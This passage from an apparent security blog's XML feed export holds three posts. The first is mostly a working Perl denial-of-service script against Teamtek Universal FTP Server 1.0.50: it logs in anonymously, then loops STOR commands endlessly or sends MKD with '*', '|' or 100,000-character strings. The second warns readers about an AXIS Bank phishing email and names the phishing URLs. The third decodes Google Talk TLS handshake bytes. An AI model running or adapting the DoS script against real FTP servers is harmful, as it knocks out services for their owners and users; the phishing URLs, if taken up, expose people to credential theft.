Net::FTP;&lt;/span&gt;&lt;/div&gt;&lt;div class="Ih2E3d"&gt; &lt;p&gt;&lt;span style="font-size:85%;"&gt;$ftp_dos_mkd=Net::FTP-&gt;new("$&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;ARGV[0]",Debug=&gt;0) || die "Cannot connect to Host $ARGV[0]\n Usage: ]#perl script_name &lt;/span&gt;&lt;/p&gt; &lt;/div&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;vuln_target_ip r Host\n";&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;$ftp_dos_mkd -&gt; login("anonymous","anonymous") || die "Could not Login...Retry";&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:85%;"&gt;print "Enter 1 to launch FTP DoS using using multiple STOR/PUT commands\n";&lt;/span&gt;&lt;/p&gt;&lt;div class="Ih2E3d"&gt;&lt;span style="font-size:85%;"&gt;print "Enter 2 to launch FTP DoS using directory name as * with MKD command\n";&lt;br /&gt;print "Enter 3 to launch FTP DoS using directory name as | with MKD command\n";&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt; print "Enter 4 to launch FTP DoS using MKD command followed by spaces\n";&lt;br /&gt;print "Enter 5 to launch FTP DoS using MKD command followed by long string\n";&lt;/span&gt;&lt;div class="Ih2E3d"&gt; &lt;p&gt;&lt;span style="font-size:85%;"&gt;$special_char=&lt;stdin&gt;;&lt;br /&gt;chomp($special_char);&lt;/stdin&gt;&lt;/span&gt;&lt;/p&gt; &lt;/div&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;if($special_char==1)&lt;br /&gt;{&lt;br /&gt;while(1)&lt;br /&gt;{&lt;br /&gt;$ftp_dos_mkd -&gt; stor("abc.txt");&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;elsif($special_char==2)&lt;br /&gt;{&lt;br /&gt;$ftp_dos_mkd -&gt; mkdir("*");&lt;br /&gt;}&lt;br /&gt;elsif($special_char==3)&lt;br /&gt;{&lt;br /&gt;$ftp_dos_mkd -&gt; mkdir("|");&lt;br /&gt;}&lt;br /&gt;elsif($special_char==4)&lt;br /&gt;{&lt;br /&gt;my $buf1 = "\x20" x 100000;&lt;br /&gt;$ftp_dos_mkd -&gt; mkdir("$buf1");&lt;br /&gt;}&lt;br /&gt;elsif($special_char==5)&lt;br /&gt;{&lt;br /&gt;my $buf2 = "D" x 100000;&lt;br /&gt;$ftp_dos_mkd -&gt; mkdir("$buf2");&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;printf "Please enter correct number to launch exploit !!";&lt;br /&gt;}&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:85%;"&gt; $ftp_dos_mkd-&gt;quit;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-4816656430467855500?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/4816656430467855500/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2009/02/teamtek-universal-ftp-server-1050-dos.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/4816656430467855500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/4816656430467855500'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2009/02/teamtek-universal-ftp-server-1050-dos.html' title='Teamtek Universal FTP Server 1.0.50 DoS (daemon crash/ hang)'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-1733555689142904198</id><published>2009-01-22T19:32:00.016+05:30</published><updated>2012-02-07T22:03:29.216+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='spam'/><title type='text'>AXIS Bank Phishing1...Be Careful !</title><content type='html'>&lt;span style="font-size: 85%;"&gt;I has been seeing these mails from long time. I never used to open such mails, instead delete the mails. This time thought of writing about the issue. Got a mail from "AXIS Bank" (fake) with Subject "&lt;a href="http://us.mc308.mail.yahoo.com/mc/showMessage?fid=Inbox&amp;amp;sort=date&amp;amp;order=down&amp;amp;startMid=0&amp;amp;.rand=488126477&amp;amp;da=0&amp;amp;midIndex=1&amp;amp;mid=1_173738_AJXIjkQAAOgsSXhqkAqA1zYQRz8&amp;amp;prevMid=1_175259_AJLIjkQAAIWTSXhvAQeWhh%2FHDh0&amp;amp;nextMid=1_346_AJfIjkQAABpySXhVIQKb2nUPDjw" title="AXIS Bank Security Service Notification (IMPORTANT)"&gt;AXIS Bank Security Service Notification (IMPORTANT)&lt;/a&gt;". When opened, the mail looks like&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_SQ_PsgPnt_w/SXiEjpmdb3I/AAAAAAAAACM/xf9l0zilm1s/s1600-h/email.JPG"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5294127109971472242" src="http://2.bp.blogspot.com/_SQ_PsgPnt_w/SXiEjpmdb3I/AAAAAAAAACM/xf9l0zilm1s/s320/email.JPG" style="display: block; height: 347px; margin: 0px auto 10px; text-align: center; width: 429px;" /&gt;&lt;/a&gt;&lt;/span&gt; &lt;br /&gt;&lt;div&gt;&lt;span style="font-size: 85%;"&gt;We can find the following URL in the mail &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: 85%;"&gt;&lt;a href="http://eyering.com/interaction/cache/update/axis.php" rel="nofollow" target="_blank"&gt;h ttps://www.axisbank.com/security/New 2FA Token=a cct&lt;/a&gt;&lt;/span&gt; &lt;/div&gt;&lt;div&gt;&lt;span style="font-size: 85%;"&gt;When we hover mouse over the URL we can see &lt;a href="http://eyering.com/interaction/cache/update/axis.php"&gt;http://eyering.com/interaction/cache/update/axis.php&lt;/a&gt;&lt;/span&gt; &lt;/div&gt;&lt;div&gt;&lt;span style="font-size: 85%;"&gt;link below the page.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: 85%;"&gt;The page below is original AXIS BANK's login page&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: 85%;"&gt;&lt;a href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SXiD-c8f2EI/AAAAAAAAACE/Nst5X3RduoA/s1600-h/axis.JPG"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5294126470919084098" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SXiD-c8f2EI/AAAAAAAAACE/Nst5X3RduoA/s320/axis.JPG" style="display: block; height: 276px; margin: 0px auto 10px; text-align: center; width: 427px;" /&gt;&lt;/a&gt;When we click the link in the mail it will redirect us to the URL &lt;a href="http://iamthecompetition.com/subscription/axisbank.co.in/RetailSignOn.htm"&gt;http://iamthecompetition.com/subscription/axisbank.co.in/RetailSignOn.htm&lt;/a&gt;&lt;/span&gt; &lt;/div&gt;&lt;div&gt;&lt;span style="font-size: 85%;"&gt;and the page looks like&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="font-size: 85%;"&gt;&lt;a href="http://4.bp.blogspot.com/_SQ_PsgPnt_w/SXiDtQdQ7mI/AAAAAAAAAB8/bi0OsmruyOw/s1600-h/phishingpage_axis.JPG"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5294126175509081698" src="http://4.bp.blogspot.com/_SQ_PsgPnt_w/SXiDtQdQ7mI/AAAAAAAAAB8/bi0OsmruyOw/s320/phishingpage_axis.JPG" style="display: block; height: 249px; margin: 0px auto 10px; text-align: center; width: 425px;" /&gt;&lt;/a&gt;This is the phishing page used by attackers to collect user names and passwords.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: 85%;"&gt;If you click "Submit" tab below radio button's it'll reidrect to other page which asks for ATM Pin !!&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size: 85%;"&gt;Safe Surfing...Enjoy!!!&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-1733555689142904198?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/1733555689142904198/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2009/01/axis-bank-phishingcareful.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/1733555689142904198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/1733555689142904198'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2009/01/axis-bank-phishingcareful.html' title='AXIS Bank Phishing1...Be Careful !'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_SQ_PsgPnt_w/SXiEjpmdb3I/AAAAAAAAACM/xf9l0zilm1s/s72-c/email.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-8348696002272223339</id><published>2008-11-19T00:43:00.008+05:30</published><updated>2009-02-11T21:00:36.646+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Jabber'/><category scheme='http://www.blogger.com/atom/ns#' term='GTalk'/><category scheme='http://www.blogger.com/atom/ns#' term='GMail'/><title type='text'>Deciphering Google Talk's Jabber Communication</title><content type='html'>&lt;span style="font-size:78%;"&gt;Google Talk communicates through HTTPS (TCP Port 443) and Jabber (TCP Port 5222) Protocols. Google talk initially communicates through HTTPS and switches to Jabber. When 5222 is blocked using firewall Google Talk works on port 443 (HTTPS). Suppose HTTPS, port 443 is blocked and port 5222 is allowed in this case Google Talk doesn't work.&lt;br /&gt;&lt;br /&gt;When the communication is through TCP Port 5222 for Google Talk we can see Octal (OCT) pattern in the pay load. We can see Description and Hex pattern in the payload of HTTPS communication.&lt;br /&gt;&lt;br /&gt;Below payload is seen in “Client Hello” packet which is sent after three way handshake on port 443 and three way handshake on port 5222 if both the ports are allowed. This is the mapping between Octal and Hex Patterns.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Oct/Jabber&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                 &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;Hex/HTTPS&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                       &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Description&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;---------------&lt;/span&gt;&lt;span style="font-size:78%;"&gt;           &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;---------------&lt;/span&gt;&lt;span style="font-size:78%;"&gt;    &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;-------------------------------------&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\200L&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                                    &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;               804c&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                                                  &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Length: 76&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\001&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                                                           &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;01&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                                  &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Handshake Message Type: Client Hello (1)                 &lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\003\001&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                   &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;          0301                                                                  &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Version: TLS 1.0 (0x0301)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\0003&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                                  &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;0033                                                 &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Spec Length: 51&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\000\000&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                 &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;          0000                                                 &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;&lt;span style="font-style: italic;"&gt;                &lt;/span&gt;Session ID Length: 0&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\000\020&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                 &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;          0010                                                                  &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Challenge Length: 16&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\000\000\004&lt;/span&gt;&lt;span style="font-size:78%;"&gt;               &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;000004              &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: TLS_RSA_WITH_RC4_128_MD5 (0x000004)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\000\000\005&lt;/span&gt;&lt;span style="font-size:78%;"&gt;              &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;000005                   &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: TLS_RSA_WITH_RC4_128_SHA (0x000005)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\000\000\n&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                        &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;       00000a                      &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x00000a)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\001\000\200&lt;/span&gt;&lt;span style="font-size:78%;"&gt;             &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;    010080                            &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: SSL2_RC4_128_WITH_MD5 (0x010080)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\a\000\300&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                      &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;       0700c0                             &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: SSL2_ DES_192_ EDE3_CBC_WITH_MD5 (0x0700c0)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\003\000\200&lt;/span&gt;&lt;span style="font-size:78%;"&gt;             &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;    030080                                            &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: SSL2_RC2_CBC_128_CBC_WITH _MD5 (0x030080)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\000\000\t&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                            &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;        000009                                                   &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: TLS_RSA_WITH_DES_CBC_SHA (0x000009)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\006\000@&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                          &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;       060040                                                   &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: SSL2_DES_64_CBC_WITH _MD5 (0x060040)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\000\000d&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                            &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;        000064                                                    &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: TLS_RSA_WITH_RC4_128_MD5 (0x000064)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\000\000b&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                                    &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;000062&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                                          &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: TLS_RSA_ EXPORT1024_WITH_DES_CBC_SHA (0x000062)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\000\000\003&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                  &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;000003&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                                           &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: TLS_RSA_EXPORT_WITH_RC4_40_MD5 (0x000003)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\000\000\006&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                   &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;000006&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                                           &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 (0x000006)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\002\000\200&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                    &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;020080&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                                           &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: SSL2_RC4_128_ EXPORT40_WITH_MD5 (0x020080)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\004\000\200&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                      &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;040080&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                               &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: SSL2_RC2_CBC_128_CBC_WITH_MD5 (0x040080)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\000\000\023&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                      &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;000013&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                                            &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x000013)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\000\000\022&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                      &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;000012&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                                           &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: TLS_DHE_DSS_WITH_DES_CBC_SHA (0x000012)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;\000\000c&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                                            &lt;/span&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;000063&lt;/span&gt;&lt;span style="font-size:78%;"&gt;                                                   &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Cipher Specs: TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA (0x000063)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;e72b7909ff36880aa266262537c83988    &lt;/span&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Challenge&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;br /&gt;Google Talk communication through gmail uses "User Agent: Google Talk\r\n" which can be seen through Ethereal/Wireshark capture.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-8348696002272223339?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/8348696002272223339/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2008/11/deciphering-google-talk-jabber.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/8348696002272223339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/8348696002272223339'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2008/11/deciphering-google-talk-jabber.html' title='Deciphering Google Talk&apos;s Jabber Communication'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><thr:total>0</thr:total></entry></feed>
